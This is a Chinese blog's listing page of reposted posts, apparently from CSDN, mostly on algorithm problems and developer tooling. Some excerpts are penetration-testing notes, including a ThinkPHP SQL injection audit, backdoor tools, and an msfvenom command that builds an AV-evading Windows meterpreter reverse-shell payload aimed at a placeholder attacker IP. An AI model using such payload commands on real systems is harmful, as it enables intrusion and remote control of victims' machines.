- 博客(4550)
- 收藏
- 关注
RSS订阅转载 BZOJ 3810 [Coci2015]Stanovi
这讲真就是一篇显得自己认真做题的博客因为真的比较习惯将培训所有的题都放到一篇博客中，又因为暑假好多培训，所以单题很少，这也是从博客中摘出来的题目链接如果合法，一定有一条贯穿整个矩形的线；dp[i][j][t]长度为i，宽度为j，面向大海的边的状态是t这样划分最小差异度是啥；、然后因为一定要贯穿，可以一分为二：dp[i][j][t]=左边+右边；其中t：t==1 只有一面环海...
2019-09-08 15:27:00
117
转载 Substrings POJ - 1226 （后缀数组）
You are given a number of case-sensitive strings of alphabetic characters, find the largest string X, such that either X, or its inverse can be found as a substring of any of the given strings....
2019-09-07 22:21:00
87
转载 Life Forms POJ - 3294 （后缀数组）
You may have wondered why most extraterrestrial life forms resemble humans, differing by superficial traits such as height, colour, wrinkles, ears, eyebrows and the like. A few bear no human re...
2019-09-07 22:13:00
63
转载 Maximum repetition substring POJ - 3693 （后缀数组）
The repetition number of a string is defined as the maximum numberRsuch that the string can be partitioned intoRsame consecutive substrings. For example, the repetition number of "ababab" i...
2019-09-07 22:06:00
73
转载 Extend to Palindrome UVA - 11475 (后缀数组)
题面就不弄了题意：给你一个串，让你求出补充最少的字符形成的回文串思路:思路很好想，就是对一个串，找其最后一个字符（第一个也行）和原串的反串的最长公共前缀，这样就求出了该串中的已有最长回文，然后把剩下部分倒序添加到原串上即可。也就是我们可以固定一个位置，即使反串的第一个单词（原串最后一个），然后从该位置向前向后遍历ht数组直到找到一个属于原串即可。 1 #...
2019-09-07 21:48:00
72
转载 Sequence POJ - 3581 （后缀数组）
Given a sequence, {A1,A2, ...,An} which is guaranteedA1>A2, ...,An, you are to cut it into three sub-sequences and reverse them separately to form a new one which is the smallest poss...
2019-09-07 21:28:00
93
转载 Luogu p1241 括号序列
括号序列题目连接这是一道与dp毫无半点关系的题本来是去找的题来着，结果并没有找到，然后看到了这道题。（本来以为会是很好写的一道题结果因为题意不清直接原地去世了）思路很简单，基本没有技术含量。因为数据范围很小，我们可以直接进行暴搜；定义bool 数组add表示第i个字符所对应的括号有没有被匹配，如果没有匹配需手动补全；从左往右扫描，如果扫描到']'or')'，从当前位置开始向...
2019-09-07 20:43:00
212
转载 【JZOJ6342】Tiny Counting
descriptionanalysis首先不管\(a,b,c,d\)重复的情况方案数是正逆序对之积如果考虑\(a,b,c,d\)有重复，只有四种情况，下面括号括起来表示该位置重复比如\(\{a,(b,c),d\}\)，其中\(b=c,S_a<S_b,S_c>S_d\)还有\(\{(a,c),b,d\}\)，\(\{a,c,(b,d)\}\)，\(\{c,(a,...
2019-09-07 19:47:00
62
转载 能轻松背板子的FWT（快速沃尔什变换）
FWT应用我不知道\(FWT\)的严格定义百度百科和维基都不知道给一坨什么****东西**FWT（Fast Walsh Fransform），中文名快速沃尔什变换然后我也不知道\(FWT\)到底是什么你们怎么念FWT的反正我念扶卧塔\(FFT\)当然可以做多项式卷积形如\(C(k)=\sum_{i+j=k}f[i]g[j]\)，很简单，大家都会由于有这个性质所以也可做...
2019-09-06 20:59:00
74
转载 Luogu p2456 二进制方程
这是一道我也不知道我gu了多久的题目（然鹅还有n多任务没有完成）反正——我太难了好了言归正传，题目链接是一道校内测的题目（现在应该没有人没考了吧？）思路的话，是神仙并查集√觉得虽然并查集很简单，但很容易想不到要用并查集解题呢首先，考场上卡死我的就是怎么分别表示\(a_1,a_2……,a_n\)，然后其实我们可以直接按照\(a_1,a_2,……,a_n,b_1,b_2,……b...
2019-09-06 17:30:00
133
转载 [转]vscode 插件推荐 - 献给所有前端工程师（2019.8.7更新）
原文地址:https://segmentfault.com/a/1190000006697219VScode现在已经越来越完善。性能远超Atom和webstorm,你有什么理由不用它?在这里，我会给你们推荐很多实用的插件，让你对 vscode 有更深刻的体会，渐渐地你就会知道它有多好用。走马观花前，请先将你的 vscode 更新到最新版本。通用插件HTML Snippet...
2019-09-06 16:46:00
104
转载 Redis面试题
1、使用redis有哪些好处？ 速度快，因为数据存在内存中，类似于HashMap，HashMap的优势就是查找和操作的时间复杂度都是O(1) 支持丰富数据类型，支持string，list，set，sorted set，hash 支持事务，操作都是原子性，所谓的原子性就是对数据的更改要么全部执行，要么全部不执行 丰富的特性：可用于缓存，消息，按key设置过期时间，过期后将会自动删除...
2019-09-05 13:55:00
48
转载 [转]eclipse中explorer显示方式
原文地址:https://www.cnblogs.com/gne-hwz/p/7590451.html不知道是不是上面的描述。做个记录project explorer 项目资源管理器这个要打开代码目录需要再点开java resources还会出现deployment Descriptor项目工程描述package explorer包资源管理器打...
2019-09-05 11:20:00
109
转载 [转]小D课堂 - 零基础入门SpringBoot2.X到实战_汇总
原文地址:https://www.cnblogs.com/wangjunwei/p/11392825.html第1节零基础快速入门SpringBoot2.0小D课堂 - 零基础入门SpringBoot2.X到实战_第1节零基础快速入门SpringBoot2.0_1、SpringBoot2.x课程介绍和高手系列知识点小D课堂 - 零基础入门SpringBoot2.X到实战_第...
2019-09-05 09:59:00
583
转载 JS闭包
闭包 能够访问另一个函数作用域的变量的函数。清晰的讲：闭包就是一个函数，这个函数能够访问其他函数的作用域中的变量。下面inner 就是一个闭包函数，因为他能够访问到outer函数的作用域1 function outer() {2 var a = '变量1'3 var inner = function () {4 ...
2019-09-04 09:43:00
70
转载 Zookeeper 安装及命令行操作
【参考文章】：【分布式】Zookeeper使用--命令行【参考文章】：zookeeper的数据模型【参考文章】：zookeeper ACL使用1. 安装包下载 官方下载地址 选择一个具体的版本进行下载安装，官方安装包也可能有问题，一般不要选择最新的版本。 下载解压后查看目录是否有缺失，比如 缺失lib 目录会导致找不到主类。2. 解压安装 tar...
2019-09-03 22:59:00
176
转载 Mysql 常用命令
1. 修改密码1.1 set password 登录mysql set password for 用户名@localhost = password('新密码'); 1.2 mysqladmin mysqladmin -u用户名 -p旧密码 password 新密码 1.3 user表 mysql> use mysql; mys...
2019-09-03 19:39:00
99
转载 dp基础√
1.重叠子问题2.能从小问题推到大问题Dp:设计状态+状态转移状态:1.状态表示: 是对当前子问题的解的局面集合的一种（充分的）描述。(尽量简洁qwq)◦ 对于状态的表示，要满足三条性质◦ 1：具有最优化子结构：即问题的最优解能有效地从问题的子问题的最优解构造而来。◦ 2：能够全面的描述一个局面。一个局...
2019-09-03 17:39:00
116
转载 [转]eclipse中 properties文件编码问题
原文地址:https://blog.csdn.net/uestcong/article/details/66351231. Eclipse修改设置项目中用到了配置文件，所以在Eclipse中新建.properties文件，文件中编辑了中文，在保存时Eclipse报出以下错误：解决这个问题的方法：依次选择：菜单——>Preferences——>General——>Co...
2019-09-03 14:57:00
67
转载 [转]windows环境下启动与停止.jar文件
原文地址:https://www.jianshu.com/p/b12fc379d1711 、启动在xx.jar同级目录下建立run.bat文件，在run.bat文件中编辑下列文本。@echo offstart javaw -jar take_zkrdata.jarexit保存--->双击运行即可！2、停止在任务管理器中直接结束掉相应的进程即可wi...
2019-09-03 08:56:00
672
转载 ES6将两个数组合并成一个对象数组
需求有这么两个数组 1 let metrodates = [ 2 "2008-01", 3 "2008-02", 4 "2008-03",..ect 5 ]; 6 let figures = [ 7 0, 8 0.555, 9 0.293,..ect10 ]想要这样的结果1 let result = [2 ...
2019-09-02 11:12:00
7201
转载 代码审计-thinkphp3.2.3框架漏洞sql注入
开始复现审计一下tp3和tp5的框架漏洞，当个练习吧。涉及注入的方法为where() table()delete()等。环境tp3.2.3 :0x01注入成因测试代码: public function index2(){// $data = M('user')-> where('username...
2019-09-02 09:46:00
696
转载 记个mimikatz小坑
今晚回学校无聊搞搞自己school 实战的时候遇到mimikatz抓密码报错 以前没遇过记一下(水一篇)爆ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061开始以为又是上次2008注册表组策略的问题结果runas就解决...
2019-09-01 21:38:00
486
转载 [转]Maven 国内源配置(2019/2/14)
原文地址:https://segmentfault.com/a/1190000018147680新年开工后要开始新的项目，但是发现一些项目的依赖没有在阿里仓库Central或Public源之中，项目依赖还是要在外网中下载，很慢、很烦······所以一番查找后，替换为阿里官方仓库服务站点：https://maven.aliyun.com/mvn/...具体操作打开${...
2019-08-30 09:46:00
77
转载 [转]Maven 全局配置文件settings.xml详解
原文地址:https://www.jianshu.com/p/110d897a5442概要settings.xml有什么用？如果在Eclipse中使用过Maven插件，想必会有这个经验：配置settings.xml文件的路径。Paste_Image.pngsettings.xml文件是干什么的，为什么要配置它呢？...
2019-08-30 09:22:00
84
转载 [转]IntelliJ IDEA 2019 上手
原文地址:https://www.jianshu.com/p/77f81d5fcf02一、聊一聊Java IDE作为程序员，经常会看到这么一类的话题：文本编辑器与IDE哪家强。常见的文本编辑器如EditPlus、Notepad++、UltraEdit，稍微高级点的如VS Code（博主正在使用）、Sublime Text、Atom，最顶级的当然是Emacs和Vim，毕竟Emacs...
2019-08-29 10:33:00
826
转载 渗透测试-端口复用正向后门
补充一下端口复用的知识0x01关于端口复用端口复用也是很老的后门技术，主要是劫持web服务器相关进程/服务的内存空间、系统API甚至劫持网络驱动去达到目的，在winsocket的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分。这种多重绑定便称之为端口复用。这里总结的是基于we...
2019-08-29 06:18:00
272
转载 Linux 相关系统日志查看
1. 登录日志 cat /var/log/secure 涉及到账号登录的日志信息都会记录在此文件中。2. Unit 的启动日志 journal 可以查看所有 unit 的启动日志，日志的配置文件 /etc/systemd/journald.conf 【参考文章】：如何使用Journalctl查看和操作Systemd日志 【参考文章】：journal...
2019-08-28 15:55:00
54
转载 [转]Spring事务嵌套引发的血案---Transaction rolled back because it has been marked as rollback-only...
原文地址:https://blog.csdn.net/f641385712/article/details/804459121、概述想必大家一想到事务，就想到ACID，或者也会想到CAP。但笔者今天不讨论这个，哈哈~本文将从应用层面稍带一点源码，来解释一下我们平时使用事务遇到的一个问题但让很多人又很棘手的问题：Transaction rolled back because it ha...
2019-08-28 08:38:00
371
转载 后门木马免杀-msfvenom和msf5(evasion)
贴上使用笔记不多介绍了 很简单的东西msfvenom各平台生成木马大全:windows:msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b 'x00x0axff' -i 3 -f e...
2019-08-28 07:18:00
552
转载 后门免杀工具-Backdoor-factory
水一水最近玩的工具弄dll注入的时候用到的介绍这款老工具免杀效果一般。。但是简单实用目录: 0x01backdoor-factory简介 0x02特点功能 0x03具体参数使用 PS：后门添加私钥证书https://tools.kali.org/exploitation-tools/bac...
2019-08-28 06:10:00
399
转载 域渗透-Kerberos协议中spn的应用
0x01关于SPN服务主体名称（SPN）是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。服务主体名称是服务实例（可以理解为一个服务，比如 HTTP、MSSQL）的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。在内部网络中，SPN扫描通过 查询向域控制器执行服务发现。这对于红队而言，可以帮助...
2019-08-27 07:58:00
373
转载 java 代码优化
1.List集合类：判断是否有值 if(list != null && list.size() > 0)，应当使用这个list.isEmpty()。前者复杂度为o（n） 后者只有o（1）2.return "/ebid/bidIfmView"; 重复的字符串应该使用 静态变量或者枚举类，一处更新，多出使用。当jsp页面更新的时候，只需要修改一个地方就可以。其他地方...
2019-08-26 23:18:00
51
转载 双联通分量与二分图
我这是耽搁了多长时间才把它整完哈哈哈哈哈；双联通分量在无向图中，如果无论删去哪条边都不能使得 u 和 v 不联通，则称 u 和 v 边双连通；在无向图中，如果无论删去哪个点（非 u 和 v）都不能使得 u 和v 不联通，则称 u 和 v 点双连通。割点：删去该点，图分裂为多个连通块。割边：也叫“桥”，删去该边，图分裂为多个连通块。点双连通分量类似地，定义$ d f n_u...
2019-08-24 21:25:00
218
转载 实战渗透测试笔记分享
分享下自己一直收集和使用的笔记方便快速查找。链接:https://pan.baidu.com/s/1QopVQj3yMAWY1EU5xWEecQ提取码：X3b1转载于:https://www.cnblogs.com/-qing-/p/11403328.html...
2019-08-24 00:43:00
265
转载 HDU-6705 path （bfs）
Problem DescriptionYou have a directed weighted graph with n vertexes and m edges. The value of a path is the sum of the weight of the edges you passed. Note that you can pass any edg...
2019-08-23 21:39:00
84
转载 是时候再写一篇新的博客了
BZOJ 2330&Luogu 3275 糖果幼儿园里有 N 个小朋友， lxhgww 老师现在想要给这些小朋友们分配糖果，要求每个小朋友都要分到糖果。但是小朋友们也有嫉妒心，总是会提出一些要求，比如小明不希望小红分到的糖果比他的多，于是在分配糖果的时候， lxhgww 需要满足小朋友们的K 个要求。幼儿园的糖果总是有限的， lxhgww 想知道他至少需要准备多少个糖果，才能使...
2019-08-23 20:12:00
62
转载 [转]Oracle 查询表外键相关信息
原文地址:https://www.csdn.net/gather_27/MtTaUgxsNzYxMi1ibG9n.html查找表的外键（包括名称，引用表的表名和对应的键名，下面是分成多步查询）：select * from user_constraints c where c.constraint_type = 'R' and c.table_name = 要查询的表 查询...
2019-08-23 09:36:00
66
转载 django虚拟环境配置
1.由于pip中自带的安装源下载太慢,可以自己配置下载源1):文件管理器文件路径地址栏敲%APPDATA%2):在这个文件下创建一个新的pip文件并在这个文件下创建一个,pip.ini文件3):在这个文件中添加配置内容[global]index-url = http://pypi.douban.com/simple[install]use-mirrors ...
2019-08-21 22:06:00
137
转载 Linux的分段和分页机制
1.分段机制 80386的两种工作模式 80386的工作模式包括实地址模式和虚地址模式（保护模式）。Linux主要工作在保护模式下。 分段机制 在保护模式下，80386虚地址空间可达16K个段，每段大小可变，最大达4GB。 从逻辑地址到线性地址的转换由80386分段机制管理。段寄存器CS、DS、ES、SS、FS或GS标识一个段。这些段寄存器作为段选择器，用来选择该段的描述符。...
2019-08-21 12:31:33
89
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人